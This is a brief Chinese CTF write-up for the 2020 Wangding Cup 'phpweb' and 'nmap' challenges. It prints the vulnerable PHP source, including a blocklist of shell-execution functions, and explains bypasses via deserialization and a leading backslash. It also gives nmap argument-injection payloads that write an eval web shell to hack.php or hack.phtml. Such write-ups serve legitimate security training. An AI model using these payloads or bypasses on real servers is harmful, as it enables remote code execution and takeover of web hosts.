[网鼎杯 2020 朱雀组]phpweb/nmap

Posted on 2020-05-17,2 min read

F12看见提示。
后端用$a($b)这样执行代码
尝试了一些函数。都被禁了。用file_get_contents读取下文件。得到源码

<?php
$disable_fun = array(
    "exec",
    "shell_exec",
    "system",
    "passthru",
    "proc_open",
    "show_source",
    "phpinfo",
    "popen",
    "dl",
    "eval",
    "proc_terminate",
    "touch",
    "escapeshellcmd",
    "escapeshellarg",
    "assert",
    "substr_replace",
    "call_user_func_array",
    "call_user_func",
    "array_filter",
    "array_walk",
    "array_map",
    "registregister_shutdown_function",
    "register_tick_function",
    "filter_var",
    "filter_var_array",
    "uasort",
    "uksort",
    "array_reduce",
    "array_walk",
    "array_walk_recursive",
    "pcntl_exec",
    "fopen",
    "fwrite",
    "file_put_contents"
);
function gettime($func, $p) {
    $result = call_user_func($func, $p);
    $a = gettype($result);
    if ($a == "string") {
        return $result;
    } else {
        return "";
    }
}
class Test {
    var $p = "Y-m-d h:i:s a";
    var $func = "date";
    function __destruct() {
        if ($this->func != "") {
            echo gettime($this->func, $this->p);
        }
    }
}
$func = $_REQUEST["func"];
$p = $_REQUEST["p"];
if ($func != null) {
    $func = strtolower($func);
    if (!in_array($func, $disable_fun)) {
        echo gettime($func, $p);
    } else {
        die("Hacker...");
    }
}
?>

不能出现黑名单中的函数。然后回传入Test类。执行。
gettime可以忽略。就是个回调函数
他只对func进行了判断。那么我们可以通过unserialize进行反序列化。二次执行

还有就是可以通过\绕过,。\system即可绕过system的限制。

nmap
这题和buuctf Online Tools一样。
只不过他限制了php

' <?php @eval($_POST["hack"]);?> -oG hack.php '

可以将php。换为phtml。并且用短标签

' <? @eval($_POST["hack"]);?> -oG hack.phtml '

下一篇: [HITCON 2019]Buggy_Net(ASP)→